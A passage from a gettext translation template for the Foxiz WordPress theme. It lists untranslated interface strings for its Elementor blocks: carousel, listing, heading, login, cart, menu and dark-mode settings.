for the background or border style." msgstr "" #: elementor/control.php:820 msgid "" "In case you would like to switch layout and text to light when set a dark background for " "this section." msgstr "" #: elementor/control.php:825 msgid "" "The settings below will override on theme option settings and the above font size settings." msgstr "" #: elementor/control.php:830 msgid "" "Display counter in the post listing. It will not compatible with the slider or carousel " "mode." msgstr "" #: elementor/control.php:835 msgid "Set a start value (index -1) for the counter." msgstr "" #: elementor/control.php:840 msgid "Input custom font sizes for the counter. Please blank to set it as the default." msgstr "" #: elementor/control.php:845 msgid "Input custom font size values (px) for the post title for displaying in this block." msgstr "" #: elementor/control.php:850 msgid "" "Input custom font size values (px) for the secondary post title for displaying in this " "block." msgstr "" #: elementor/control.php:855 msgid "Enable or disable the \"sponsored by\" meta for this post listing." msgstr "" #: elementor/control.php:860 msgid "Hide the entry category of this block on the tablet and mobile devices." msgstr "" #: elementor/control.php:865 msgid "Hide the post excerpt of this block on the tablet and mobile devices." msgstr "" #: elementor/control.php:870 msgid "" "Input entry meta tags to hide on the tablet devices, separate by comma. For example: " "avatar, author Keys include: [avatar, author, date, category, tag, view, comment, update, " "read, custom]. Input -1 to re-enable all meta." msgstr "" #: elementor/control.php:875 msgid "" "Input entry meta tags to hide on the mobile devices, separate by comma. For example: " "avatar, author Keys include: [avatar, author, date, category, tag, view, comment, update, " "read, custom]. Input -1 to re-enable all meta" msgstr "" #: elementor/control.php:880 msgid "Display this block in the slider layout if it has more than one post." msgstr "" #: elementor/control.php:885 msgid "Display this block in the carousel layout." msgstr "" #: elementor/control.php:890 msgid "" "Input total slides to show for the carousel. This value will be override on the columns " "settings, Allowing decimal value, i.e: 2.3, 2.4...." msgstr "" #: elementor/control.php:895 msgid "" "Input total slides to show for the carousel on the wide screen devices (wider than 1500px). " "Leave blank to use the above settings." msgstr "" #: elementor/control.php:900 msgid "" "Input a custom spacing value between carousel items. The spacing will be same as your input " "value. Set \"-1\" to disable the gap." msgstr "" #: elementor/control.php:905 msgid "Enable or disable the pagination dot for this carousel." msgstr "" #: elementor/control.php:910 msgid "Enable or disable the next/prev navigation dot for this carousel." msgstr "" #: elementor/control.php:915 msgid "Input a custom spacing for the carousel navigation bar." msgstr "" #: elementor/control.php:920 msgid "Enable or disable autoplay for this slider." msgstr "" #: elementor/control.php:925 msgid "" "Input a custom time to next a slide in milliseconds. Leave blank if you would like to set " "it as the default (Theme Options)." msgstr "" #: elementor/control.php:930 msgid "Enable or disable free mode when scrolling on for this carousel." msgstr "" #: elementor/control.php:935 msgid "Enable centered mode for this carousel in case you set decimal sliders." msgstr "" #: elementor/control.php:940 msgid "Input custom spacing values (px) between elements for displaying in this block." msgstr "" #: elementor/control.php:945 msgid "" "Input custom spacing values (px) between elements and featured image for displaying in this " "block." msgstr "" #: elementor/control.php:950 msgid "Input custom bottom margin values (px) between posts listing." msgstr "" #: elementor/control.php:955 msgid "" "Show a border at the bottom of each post in the listing. The bottom spacing will be x2 if " "you enable this option." msgstr "" #: elementor/control.php:960 msgid "Disable border for the last posts in this listing." msgstr "" #: elementor/control.php:965 msgid "Centering text and content for the post listing." msgstr "" #: elementor/control.php:970 msgid "Vertical align middle elements for the post listing." msgstr "" #: elementor/control.php:975 msgid "" "Input a custom border radius (in px) for the featured image or boxed layout. Set 0 to " "disable it." msgstr "" #: elementor/control.php:980 msgid "" "Input 1/2 value of the custom gap between the featured image and list post content (in px) " "for desktop, tablet devices. The spacing will be 2x your input value." msgstr "" #: elementor/control.php:985 msgid "" "The setting below allows you to apply the Global query (wp_query) to this layout and show " "it as a the main blog listing for the the category or archive page." msgstr "" #: elementor/control.php:990 msgid "" "Don't apply the WP global query mode for more than 1 block in a template to avoid " "duplicated layouts." msgstr "" #: elementor/control.php:995 msgid "" "The \"Query Settings\" & \"Unique Filter\" will be not available in the \"WP global query\" " "mode." msgstr "" #: elementor/control.php:1000 msgid "" "Please use \"WP Global Query Pagination\". The \"Ajax Pagination\" settings will be not " "available when you choose \"WP global query\" mode." msgstr "" #: elementor/control.php:1005 msgid "" "The \"WP global query mode\" layout cannot execute in this live editor. You can check these " "changes in the frontend when assign this template for a category or archive page." msgstr "" #: elementor/control.php:1010 msgid "" "Tips: You can change the \"Number of Posts\" setting in \"Query Settings\" the same as with " "\"Blog pages show at most\" value. This will make the layout look like as the frontend." msgstr "" #: elementor/control.php:1015 msgid "" "To change \"Number of Posts\" per page, please navigate to Category Page, Theme Options or " "Settings > Reading." msgstr "" #: elementor/control.php:1020 msgid "" "This is the main blog pagination for the category and archive pages. It is only available " "on the archive builder template. Please don't place this block into a standard page." msgstr "" #: elementor/control.php:1025 msgid "" "The pagination cannot execute in this live editor. You can check these changes in the " "frontend when assign this template for a category or archive page" msgstr "" #: elementor/control.php:1030 msgid "" "The ajax types is available on category, tag and blog index page. For other archives, The " "theme will fallback to the numeric type." msgstr "" #: elementor/control.php:1035 msgid "" "Choose to use the global query or use the \"Query settings\" panel. Please read the above " "notices for further information." msgstr "" #: elementor/covid-data.php:26 msgid "Foxiz - Covid Data Tracker" msgstr "" #: elementor/covid-data.php:43 msgid "Covid Data Settings" msgstr "" #: elementor/covid-data.php:51 msgid "Country Code" msgstr "" #: elementor/covid-data.php:53 msgid "" "Input a country code you would like to display, ie: US. Leave blank if you would like to " "display global data." msgstr "" #: elementor/covid-data.php:61 msgid "Country Name" msgstr "" #: elementor/covid-data.php:64 msgid "Input the country name of the code you have just added." msgstr "" #: elementor/covid-data.php:78 msgid "Virus Icon" msgstr "" #: elementor/covid-data.php:80 msgid "Show a virus icon in this block." msgstr "" #: elementor/covid-data.php:88 msgid "Name HTML Tag" msgstr "" #: elementor/covid-data.php:90 msgid "Select a title HTML tag for the country name." msgstr "" #: elementor/covid-data.php:98 msgid "Name Font Size" msgstr "" #: elementor/covid-data.php:100 msgid "Input custom font size values (px) for the country name for displaying in this block." msgstr "" #: elementor/covid-data.php:152 msgid "Label Text Font" msgstr "" #: elementor/covid-data.php:160 msgid "Total Number Font" msgstr "" #: elementor/dark-toggle.php:25 msgid "Foxiz - Header Dark Mode Toggle" msgstr "" #: elementor/dark-toggle.php:42 elementor/font-resizer.php:42 elementor/logo.php:80 #: elementor/menu.php:61 elementor/mini-cart.php:42 elementor/navigation.php:97 #: elementor/notification-icon.php:57 elementor/search-icon.php:62 #: elementor/social-list.php:59 msgid "Style Settings" msgstr "" #: elementor/dark-toggle.php:49 msgid "Mode Switcher - Light Icon Color" msgstr "" #: elementor/dark-toggle.php:51 msgid "" "Select a color for the light mode icon (Sun icon) of the dark mode switcher button to fit " "with the main navigation color." msgstr "" #: elementor/dark-toggle.php:58 msgid "Mode Switcher - Dark Icon Background" msgstr "" #: elementor/dark-toggle.php:60 msgid "" "Select a background for the dark mode icon (Moon icon) of the dark mode switcher button to " "fit with the main navigation color." msgstr "" #: elementor/dark-toggle.php:66 elementor/font-resizer.php:74 elementor/login-icon.php:101 #: elementor/logo.php:100 elementor/menu.php:75 elementor/mini-cart.php:69 #: elementor/navigation.php:119 elementor/notification-icon.php:84 #: elementor/search-icon.php:100 elementor/social-list.php:91 msgid "Alignment" msgstr "" #: elementor/font-resizer.php:25 msgid "Foxiz - Header Font Resizer" msgstr "" #: elementor/font-resizer.php:50 msgid "This block is only display in the single post page." msgstr "" #: elementor/font-resizer.php:57 elementor/mini-cart.php:49 elementor/notification-icon.php:64 #: elementor/search-icon.php:69 elementor/social-list.php:66 msgid "Icon Font Size" msgstr "" #: elementor/font-resizer.php:59 msgid "Select a custom font size for the font resizer icon." msgstr "" #: elementor/font-resizer.php:66 elementor/login-icon.php:93 elementor/mini-cart.php:61 #: elementor/notification-icon.php:76 elementor/search-icon.php:81 #: elementor/social-list.php:75 msgid "Icon Height" msgstr "" #: elementor/font-resizer.php:68 msgid "Select a custom height value for the font resizer icon." msgstr "" #: elementor/font-resizer.php:96 elementor/heading.php:177 elementor/menu.php:98 #: elementor/mini-cart.php:91 elementor/notification-icon.php:106 #: elementor/search-icon.php:122 elementor/social-list.php:113 msgid "Color Settings" msgstr "" #: elementor/font-resizer.php:103 elementor/login-icon.php:130 elementor/mini-cart.php:98 #: elementor/notification-icon.php:113 elementor/search-icon.php:129 #: elementor/social-list.php:120 msgid "Icon Color" msgstr "" #: elementor/font-resizer.php:105 msgid "Select a color for the font resizer icon." msgstr "" #: elementor/font-resizer.php:113 elementor/login-icon.php:140 elementor/mini-cart.php:118 #: elementor/notification-icon.php:123 elementor/search-icon.php:139 #: elementor/social-list.php:130 msgid "Dark Mode - Icon Color" msgstr "" #: elementor/font-resizer.php:115 msgid "Select a color for the font resizer icon in the dark mode." msgstr "" #: elementor/grid-1.php:22 msgid "Foxiz - Grid 1 (Standard)" msgstr "" #: elementor/grid-1.php:556 elementor/grid-2.php:555 elementor/grid-box-1.php:555 #: elementor/grid-box-2.php:555 elementor/grid-small-1.php:564 elementor/list-small-1.php:421 #: elementor/list-small-2.php:471 elementor/list-small-3.php:461 elementor/overlay-1.php:436 #: elementor/overlay-2.php:540 msgid "Counter" msgstr "" #: elementor/grid-1.php:563 elementor/grid-2.php:562 elementor/grid-box-1.php:562 #: elementor/grid-box-2.php:562 elementor/grid-small-1.php:571 elementor/list-small-1.php:428 #: elementor/list-small-2.php:478 elementor/list-small-3.php:468 elementor/overlay-1.php:443 #: elementor/overlay-2.php:547 msgid "Show Counter" msgstr "" #: elementor/grid-1.php:573 elementor/grid-2.php:572 elementor/grid-box-1.php:572 #: elementor/grid-box-2.php:572 elementor/grid-small-1.php:581 elementor/list-small-1.php:438 #: elementor/list-small-2.php:488 elementor/list-small-3.php:478 elementor/overlay-1.php:453 #: elementor/overlay-2.php:557 msgid "Counter Offset" msgstr "" #: elementor/grid-1.php:825 elementor/grid-2.php:823 elementor/grid-box-1.php:867 #: elementor/grid-box-2.php:867 elementor/grid-small-1.php:832 elementor/list-small-2.php:748 #: elementor/list-small-3.php:703 elementor/overlay-2.php:764 msgid "Carousel Mode" msgstr "" #: elementor/grid-1.php:833 elementor/grid-2.php:831 elementor/grid-box-1.php:875 #: elementor/grid-box-2.php:875 elementor/grid-small-1.php:840 elementor/list-small-2.php:756 #: elementor/list-small-3.php:711 elementor/overlay-2.php:772 msgid "The ajax pagination setting will be not available if the carousel mode is activated." msgstr "" #: elementor/grid-1.php:840 elementor/grid-2.php:838 elementor/grid-box-1.php:882 #: elementor/grid-box-2.php:882 elementor/grid-small-1.php:847 elementor/list-small-2.php:763 #: elementor/list-small-3.php:718 elementor/overlay-2.php:779 msgid "Carousel" msgstr "" #: elementor/grid-1.php:850 elementor/grid-2.php:848 elementor/grid-box-1.php:892 #: elementor/grid-box-2.php:892 elementor/grid-small-1.php:857 elementor/list-small-2.php:773 #: elementor/list-small-3.php:728 elementor/overlay-2.php:789 msgid "Number of Slides" msgstr "" #: elementor/grid-1.php:860 elementor/grid-2.php:858 elementor/grid-box-1.php:902 #: elementor/grid-box-2.php:902 elementor/grid-small-1.php:867 elementor/list-small-2.php:783 #: elementor/list-small-3.php:738 elementor/overlay-2.php:799 msgid "Wide Screen - Number of Slides" msgstr "" #: elementor/grid-1.php:869 elementor/grid-2.php:867 elementor/grid-box-1.php:911 #: elementor/grid-box-2.php:911 elementor/grid-small-1.php:876 elementor/list-small-2.php:792 #: elementor/list-small-3.php:747 msgid "Carousel Gap Value" msgstr "" #: elementor/grid-1.php:879 elementor/grid-2.php:877 elementor/grid-box-1.php:921 #: elementor/grid-box-2.php:921 elementor/grid-small-1.php:886 elementor/list-small-2.php:802 #: elementor/list-small-3.php:757 elementor/overlay-1.php:685 elementor/overlay-2.php:818 msgid "Pagination Dot" msgstr "" #: elementor/grid-1.php:889 elementor/grid-2.php:887 elementor/grid-box-1.php:931 #: elementor/grid-box-2.php:931 elementor/grid-small-1.php:896 elementor/list-small-2.php:812 #: elementor/list-small-3.php:767 elementor/overlay-1.php:695 elementor/overlay-2.php:828 msgid "Next/Prev" msgstr "" #: elementor/grid-1.php:899 elementor/grid-2.php:897 elementor/grid-box-1.php:941 #: elementor/grid-box-2.php:941 elementor/grid-small-1.php:906 elementor/list-small-2.php:822 #: elementor/list-small-3.php:777 elementor/overlay-2.php:838 msgid "Nav Spacing" msgstr "" #: elementor/grid-1.php:928 elementor/grid-2.php:926 elementor/grid-box-1.php:970 #: elementor/grid-box-2.php:970 elementor/grid-small-1.php:935 elementor/list-small-2.php:851 #: elementor/list-small-3.php:806 elementor/overlay-2.php:867 msgid "Carousel Free Mode" msgstr "" #: elementor/grid-1.php:938 elementor/grid-2.php:936 elementor/grid-box-1.php:980 #: elementor/grid-box-2.php:980 elementor/grid-small-1.php:945 elementor/list-small-2.php:861 #: elementor/list-small-3.php:816 elementor/overlay-2.php:877 msgid "Centered Sliders" msgstr "" #: elementor/grid-2.php:21 msgid "Foxiz - Grid 2" msgstr "" #: elementor/grid-box-1.php:21 msgid "Foxiz - Boxed Grid 1" msgstr "" #: elementor/grid-box-1.php:736 elementor/grid-box-2.php:806 elementor/list-box-1.php:725 #: elementor/list-box-2.php:725 msgid "Boxed Settings" msgstr "" #: elementor/grid-box-1.php:743 elementor/grid-box-2.php:813 elementor/list-box-1.php:732 #: elementor/list-box-2.php:732 msgid "Boxed Layout" msgstr "" #: elementor/grid-box-1.php:753 elementor/grid-box-2.php:823 elementor/list-box-1.php:742 #: elementor/list-box-2.php:742 msgid "Box Color" msgstr "" #: elementor/grid-box-1.php:762 elementor/grid-box-2.php:832 elementor/list-box-1.php:751 #: elementor/list-box-2.php:751 msgid "Dark - Box Color" msgstr "" #: elementor/grid-box-1.php:770 elementor/grid-box-2.php:840 elementor/list-box-1.php:759 #: elementor/list-box-2.php:759 msgid "Box Padding" msgstr "" #: elementor/grid-box-2.php:21 msgid "Foxiz - Boxed Grid 2" msgstr "" #: elementor/grid-small-1.php:22 msgid "Foxiz - Small Grid" msgstr "" #: elementor/grid-small-1.php:327 msgid "Featured Position on Mobile" msgstr "" #: elementor/grid-small-1.php:329 msgid "Select the featured position for this block in the mobile device" msgstr "" #: elementor/heading.php:26 msgid "Foxiz - Heading" msgstr "" #: elementor/heading.php:53 msgid "Input your heading title, allow i tags for icon classname." msgstr "" #: elementor/heading.php:54 msgid "Latest News" msgstr "" #: elementor/heading.php:60 msgid "Tagline" msgstr "" #: elementor/heading.php:63 msgid "" "Input a right tagline text for this heading. You can change font values of this element in " "Theme Options > Typography > Blog Heading" msgstr "" #: elementor/heading.php:70 msgid "Link" msgstr "" #: elementor/heading.php:78 msgid "Heading HTML Tag" msgstr "" #: elementor/heading.php:96 msgid "Layout Settings" msgstr "" #: elementor/heading.php:104 msgid "Heading Layout" msgstr "" #: elementor/heading.php:106 msgid "Select a style for your heading." msgstr "" #: elementor/heading.php:109 msgid "Layout 1" msgstr "" #: elementor/heading.php:110 elementor/quick-links.php:66 msgid "Layout 2" msgstr "" #: elementor/heading.php:111 msgid "Layout 3" msgstr "" #: elementor/heading.php:112 msgid "Layout 4" msgstr "" #: elementor/heading.php:113 msgid "Layout 5" msgstr "" #: elementor/heading.php:114 msgid "Layout 6" msgstr "" #: elementor/heading.php:115 msgid "Layout 7" msgstr "" #: elementor/heading.php:116 msgid "Layout 8" msgstr "" #: elementor/heading.php:117 msgid "Layout 9" msgstr "" #: elementor/heading.php:118 msgid "Layout 10" msgstr "" #: elementor/heading.php:119 msgid "Layout 11" msgstr "" #: elementor/heading.php:120 msgid "Layout 12" msgstr "" #: elementor/heading.php:121 msgid "Layout 13" msgstr "" #: elementor/heading.php:122 msgid "Layout 1 - Center" msgstr "" #: elementor/heading.php:123 msgid "Layout 2 - Center" msgstr "" #: elementor/heading.php:124 msgid "Layout 3 - Center" msgstr "" #: elementor/heading.php:125 msgid "Layout 4 - Center" msgstr "" #: elementor/heading.php:126 msgid "Layout 5 - Center" msgstr "" #: elementor/heading.php:127 msgid "Layout 6 - Center" msgstr "" #: elementor/heading.php:128 msgid "Layout 7 - Center" msgstr "" #: elementor/heading.php:129 msgid "Layout 8 - Center" msgstr "" #: elementor/heading.php:130 msgid "Layout 9 - Center" msgstr "" #: elementor/heading.php:131 msgid "Layout 10 - Center" msgstr "" #: elementor/heading.php:132 msgid "Layout 11 - Center" msgstr "" #: elementor/heading.php:133 msgid "Layout 12 - Center" msgstr "" #: elementor/heading.php:134 msgid "Layout 13 - Center" msgstr "" #: elementor/heading.php:144 msgid "" "Input a custom font size value (px) for this heading. Leave this option blank to set the " "default value." msgstr "" #: elementor/heading.php:155 msgid "Tagline - Font Size" msgstr "" #: elementor/heading.php:157 msgid "" "Input a custom font size value (px) for this tagline. Leave this option blank to set the " "default value." msgstr "" #: elementor/heading.php:168 msgid "Tagline Arrow" msgstr "" #: elementor/heading.php:169 msgid "Show an arrow icon at the right of the tagline." msgstr "" #: elementor/heading.php:186 msgid "" "Note: The colors settings will based on the heading layout. Primary color will not apply on " "the style 6." msgstr "" #: elementor/heading.php:194 msgid "Primary Color" msgstr "" #: elementor/heading.php:196 msgid "Select a primary color for this heading." msgstr "" #: elementor/heading.php:206 msgid "Accent Color" msgstr "" #: elementor/heading.php:208 msgid "Select a accent color for this heading." msgstr "" #: elementor/heading.php:219 msgid "Tagline Color" msgstr "" #: elementor/heading.php:221 msgid "Select a color for the tagline of this heading." msgstr "" #: elementor/heading.php:232 msgid "Dark Mode - Primary Color" msgstr "" #: elementor/heading.php:234 msgid "Select a primary color for this heading in the dark mode." msgstr "" #: elementor/heading.php:244 msgid "Dark Mode - Accent Color" msgstr "" #: elementor/heading.php:246 msgid "Select a accent color for this heading in the dark mode." msgstr "" #: elementor/heading.php:257 msgid "Dark Mode - Tagline Color" msgstr "" #: elementor/heading.php:259 msgid "Select a tagline color for this heading in the dark mode." msgstr "" #: elementor/heading.php:315 elementor/plan.php:341 msgid "Heading Font" msgstr "" #: elementor/heading.php:323 msgid "Tagline Font" msgstr "" #: elementor/hierarchical-1.php:25 msgid "Foxiz - Hierarchical 1" msgstr "" #: elementor/hierarchical-1.php:223 elementor/hierarchical-2.php:225 msgid "This layout is best suited for putting to the column from 25% to 50% of the width." msgstr "" #: elementor/hierarchical-1.php:314 elementor/hierarchical-2.php:286 msgid "Leave this option blank or set 0 to disable." msgstr "" #: elementor/hierarchical-1.php:361 elementor/hierarchical-2.php:333 #: elementor/hierarchical-3.php:348 msgid "Secondary Title HTML Tag" msgstr "" #: elementor/hierarchical-1.php:395 elementor/hierarchical-2.php:367 #: elementor/hierarchical-3.php:382 msgid "Secondary Title Font Size" msgstr "" #: elementor/hierarchical-1.php:545 elementor/hierarchical-2.php:499 #: elementor/hierarchical-3.php:504 msgid "Secondary Post Title Font" msgstr "" #: elementor/hierarchical-1.php:585 elementor/hierarchical-2.php:539 #: elementor/hierarchical-3.php:544 msgid "First Post Bottom Margin" msgstr "" #: elementor/hierarchical-1.php:587 elementor/hierarchical-2.php:541 #: elementor/hierarchical-3.php:546 msgid "Input custom bottom margin values (px) for the first post." msgstr "" #: elementor/hierarchical-2.php:26 msgid "Foxiz - Hierarchical 2" msgstr "" #: elementor/hierarchical-3.php:26 msgid "Foxiz - Hierarchical 3" msgstr "" #: elementor/hierarchical-3.php:209 msgid "This layout is best suited for putting to the column 50% width" msgstr "" #: elementor/list-1.php:27 msgid "Foxiz - List 1" msgstr "" #: elementor/list-1.php:315 elementor/list-2.php:659 msgid "This layout is best suited for a content section or full width section with 2 columns." msgstr "" #: elementor/list-1.php:341 elementor/list-2.php:326 elementor/list-box-1.php:341 #: elementor/list-box-2.php:341 elementor/list-small-2.php:243 elementor/list-small-3.php:233 msgid "Custom Featured Width" msgstr "" #: elementor/list-1.php:344 elementor/list-2.php:329 elementor/list-box-1.php:344 #: elementor/list-box-2.php:344 elementor/list-small-2.php:246 elementor/list-small-3.php:236 msgid "" "Input custom width values (px) for the featured image. Leave blank to set it as the default." msgstr "" #: elementor/list-1.php:352 elementor/list-2.php:337 elementor/list-box-1.php:352 #: elementor/list-box-2.php:352 elementor/list-small-2.php:254 elementor/list-small-3.php:244 #: widgets/sb-post.php:162 msgid "Featured Position" msgstr "" #: elementor/list-1.php:750 elementor/list-2.php:742 elementor/list-box-1.php:793 #: elementor/list-box-2.php:793 msgid "1/2 Featured Spacing Value" msgstr "" #: elementor/list-1.php:822 elementor/list-2.php:814 elementor/list-box-1.php:865 #: elementor/list-box-2.php:865 elementor/list-small-2.php:738 elementor/overlay-1.php:650 #: elementor/overlay-2.php:754 msgid "Vertical Align" msgstr "" #: elementor/list-2.php:23 msgid "Foxiz - List 2" msgstr "" #: elementor/list-box-1.php:27 msgid "Foxiz - Boxed List 1" msgstr "" #: elementor/list-box-1.php:315 elementor/list-box-2.php:315 msgid "" "This layout is best suited for putting to all sections with gray background, depending on " "column settings." msgstr "" #: elementor/list-box-2.php:27 msgid "Foxiz - Boxed List 2" msgstr "" #: elementor/list-small-1.php:26 msgid "Foxiz - Small List 1" msgstr "" #: elementor/list-small-1.php:525 elementor/list-small-2.php:593 #: elementor/list-small-3.php:565 #, php-format msgid "This layout is best suited for putting to section 25 ~ 33% of width with 1 column." msgstr "" #: elementor/list-small-1.php:584 msgid "Scrolling Mode" msgstr "" #: elementor/list-small-1.php:591 msgid "Scroll Bar" msgstr "" #: elementor/list-small-1.php:601 msgid "Block Height" msgstr "" #: elementor/list-small-2.php:26 msgid "Foxiz - Small List 2" msgstr "" #: elementor/list-small-2.php:676 elementor/list-small-3.php:648 msgid "Custom Featured Margin" msgstr "" #: elementor/list-small-3.php:26 msgid "Foxiz - Small List 3" msgstr "" #: elementor/login-icon.php:25 msgid "Foxiz - Header Login Icon" msgstr "" #: elementor/login-icon.php:50 msgid "Trigger Button Layout" msgstr "" #: elementor/login-icon.php:52 msgid "Select a layout for the sign in trigger button." msgstr "" #: elementor/login-icon.php:54 msgid "Icon" msgstr "" #: elementor/login-icon.php:55 msgid "Text Button" msgstr "" #: elementor/login-icon.php:62 msgid "User Dashboard Menu" msgstr "" #: elementor/login-icon.php:63 msgid "Assign a menu for displaying when hovering on the login icon if user logged." msgstr "" #: elementor/login-icon.php:73 msgid "Align" msgstr "" #: elementor/login-icon.php:82 msgid "Select a custom font size for the login icon/button." msgstr "" #: elementor/login-icon.php:95 msgid "Select a custom height value for the login icon." msgstr "" #: elementor/login-icon.php:123 msgid "Icon Style Settings" msgstr "" #: elementor/login-icon.php:132 msgid "Select a color for the login icon." msgstr "" #: elementor/login-icon.php:142 msgid "Select a color for the login icon in the dark mode." msgstr "" #: elementor/login-icon.php:151 msgid "Text Button Style Settings" msgstr "" #: elementor/login-icon.php:158 elementor/login-icon.php:220 elementor/login-icon.php:256 #: elementor/menu.php:105 elementor/menu.php:133 elementor/mini-cart.php:155 #: elementor/navigation.php:150 elementor/navigation.php:230 msgid "Text Color" msgstr "" #: elementor/login-icon.php:160 elementor/login-icon.php:179 msgid "Select a color for the text login button." msgstr "" #: elementor/login-icon.php:168 elementor/plan.php:183 msgid "Button Background" msgstr "" #: elementor/login-icon.php:170 msgid "Select a background color for the button." msgstr "" #: elementor/login-icon.php:177 elementor/mini-cart.php:182 msgid "Dark Mode - Text Color" msgstr "" #: elementor/login-icon.php:187 msgid "Dark Mode - Button Background" msgstr "" #: elementor/login-icon.php:189 msgid "Select a background color for the login button in the dark mode." msgstr "" #: elementor/login-icon.php:196 msgid "Button Font" msgstr "" #: elementor/login-icon.php:204 msgid "User Dropdown Settings" msgstr "" #: elementor/login-icon.php:211 elementor/mini-cart.php:146 #: elementor/notification-icon.php:151 msgid "Dropdown Right Position" msgstr "" #: elementor/login-icon.php:213 msgid "input a right relative position for the logged dropdown, for example: -200" msgstr "" #: elementor/login-icon.php:221 msgid "Select a text color for the logged dropdown." msgstr "" #: elementor/login-icon.php:229 elementor/menu.php:114 elementor/menu.php:142 #: elementor/navigation.php:159 elementor/navigation.php:239 msgid "Hover Text Color" msgstr "" #: elementor/login-icon.php:230 msgid "Select a text color for the logged dropdown when hovering." msgstr "" #: elementor/login-icon.php:238 elementor/mini-cart.php:164 #: elementor/notification-icon.php:160 elementor/search-icon.php:165 msgid "Background Gradient (From)" msgstr "" #: elementor/login-icon.php:239 elementor/mini-cart.php:165 #: elementor/notification-icon.php:161 msgid "Select a background color (color stop: 0%) for the dropdown section." msgstr "" #: elementor/login-icon.php:247 elementor/mini-cart.php:173 #: elementor/notification-icon.php:169 elementor/search-icon.php:174 msgid "Background Gradient (To)" msgstr "" #: elementor/login-icon.php:249 elementor/mini-cart.php:175 #: elementor/notification-icon.php:171 msgid "Select a background color (color stop: 100%) for the dropdown section." msgstr "" #: elementor/login-icon.php:257 msgid "Select a text color for the logged dropdown in the dark mode." msgstr "" #: elementor/login-icon.php:265 msgid "Dark Mode - Hover Text Color" msgstr "" #: elementor/login-icon.php:266 msgid "Select a text color for the logged dropdown when hovering in the dark mode." msgstr "" #: elementor/login-icon.php:274 elementor/mini-cart.php:191 #: elementor/notification-icon.php:178 elementor/search-icon.php:183 msgid "Dark Mode - Background Gradient (From)" msgstr "" #: elementor/login-icon.php:275 elementor/mini-cart.php:192 #: elementor/notification-icon.php:179 msgid "Select a background color (color stop: 0%) for the dropdown section in the dark mode." msgstr "" #: elementor/login-icon.php:283 elementor/mini-cart.php:200 #: elementor/notification-icon.php:187 elementor/search-icon.php:192 msgid "Dark Mode - Background Gradient (To)" msgstr "" #: elementor/login-icon.php:285 elementor/mini-cart.php:202 #: elementor/notification-icon.php:189 msgid "" "Select a background color (color stop: 100%) for the dropdown section in the dark mode." msgstr "" #: elementor/login-icon.php:296 msgid "- Assign a Menu -" msgstr "" #: elementor/logo.php:25 msgid "Foxiz - Site Logo" msgstr "" #: elementor/logo.php:42 msgid "Logo Settings" msgstr "" #: elementor/logo.php:49 msgid "Logo Image" msgstr "" #: elementor/logo.php:50 msgid "Select or upload a logo image." msgstr "" #: elementor/logo.php:57 msgid "Dark Mode - Logo Image" msgstr "" #: elementor/logo.php:58 msgid "Select or upload a logo image in the dark mode." msgstr "" #: elementor/logo.php:65 msgid "Custom Logo URL" msgstr "" #: elementor/logo.php:66 msgid "Input a custom URL for the logo, Default will return to the homepage." msgstr "" #: elementor/logo.php:86 msgid "Logo Width" msgstr "" #: elementor/logo.php:87 msgid "Set a max width for your logo" msgstr "" #: elementor/menu.php:25 msgid "Foxiz - Sidebar Menu" msgstr "" #: elementor/menu.php:42 elementor/navigation.php:42 msgid "Menu Settings" msgstr "" #: elementor/menu.php:49 elementor/navigation.php:49 msgid "Assign Menu" msgstr "" #: elementor/menu.php:50 msgid "Select a menu for this block." msgstr "" #: elementor/menu.php:67 msgid "Item Padding" msgstr "" #: elementor/menu.php:69 msgid "Input a custom spacing between menu item." msgstr "" #: elementor/menu.php:106 elementor/navigation.php:151 msgid "Select a text color for displaying in the navigation bar of this header." msgstr "" #: elementor/menu.php:115 elementor/navigation.php:160 elementor/navigation.php:213 msgid "Select a text color when hovering." msgstr "" #: elementor/menu.php:126 msgid "Dark Mode - Color Settings" msgstr "" #: elementor/menu.php:134 elementor/navigation.php:231 msgid "" "Select a text color for displaying in the navigation bar of this header in the dark mode." msgstr "" #: elementor/menu.php:143 elementor/navigation.php:240 elementor/navigation.php:293 msgid "Select a text color when hovering in the dark mode." msgstr "" #: elementor/menu.php:152 msgid "Font & Font Size" msgstr "" #: elementor/menu.php:159 msgid "Menu Font" msgstr "" #: elementor/menu.php:166 msgid "Sub Menu Font Size" msgstr "" #: elementor/menu.php:168 msgid "Input a custom font size value for the sub menu item." msgstr "" #: elementor/mini-cart.php:25 msgid "Foxiz - Header Mini Cart" msgstr "" #: elementor/mini-cart.php:51 msgid "Select a custom font size for the mini cart icon." msgstr "" #: elementor/mini-cart.php:63 msgid "Select a custom height value for the mini cart icon." msgstr "" #: elementor/mini-cart.php:100 msgid "Select a color for the mini cart icon." msgstr "" #: elementor/mini-cart.php:108 msgid "Cart Counter Color" msgstr "" #: elementor/mini-cart.php:110 msgid "Select a color for the cart counter dot." msgstr "" #: elementor/mini-cart.php:120 msgid "Select a color for the mini cart icon in the dark mode." msgstr "" #: elementor/mini-cart.php:128 msgid "Count Dot Color" msgstr "" #: elementor/mini-cart.php:130 msgid "Select a color for the cart counter dot in the dark mode." msgstr "" #: elementor/mini-cart.php:139 elementor/notification-icon.php:144 msgid "Dropdown Settings" msgstr "" #: elementor/mini-cart.php:148 msgid "input a right relative position for the mini cart dropdown, for example: -200" msgstr "" #: elementor/mini-cart.php:156 msgid "Select a text color for the mini cart dropdown." msgstr "" #: elementor/mini-cart.php:183 msgid "Select a text color for the mini cart dropdown in the dark mode." msgstr "" #: elementor/navigation.php:25 msgid "Foxiz - Menu Navigation" msgstr "" #: elementor/navigation.php:50 msgid "Select a menu for your website." msgstr "" #: elementor/navigation.php:61 msgid "Sticky Headline Bar" msgstr "" #: elementor/navigation.php:69 msgid "" "This feature requests to enable the \"Single Headline Sticky\" setting in the wrapper " "section in order to work." msgstr "" #: elementor/navigation.php:77 msgid "The single tagline will only appear in the single post." msgstr "" #: elementor/navigation.php:84 msgid "Sticky Single headline" msgstr "" #: elementor/navigation.php:86 msgid "Replace menu by post heading when scrolling in the single post page." msgstr "" #: elementor/navigation.php:103 msgid "Menu Height" msgstr "" #: elementor/navigation.php:105 msgid "Input custom height value (px) for this menu. Default is 60." msgstr "" #: elementor/navigation.php:111 elementor/social-list.php:83 msgid "Item Spacing" msgstr "" #: elementor/navigation.php:113 msgid "Input a custom spacing between menu item. Default is 12." msgstr "" #: elementor/navigation.php:143 msgid "Main Color Settings" msgstr "" #: elementor/navigation.php:168 elementor/navigation.php:248 msgid "Hover Accent Color" msgstr "" #: elementor/navigation.php:169 msgid "Select a accent color when hovering." msgstr "" #: elementor/navigation.php:178 msgid "Sub Menu Color Settings" msgstr "" #: elementor/navigation.php:185 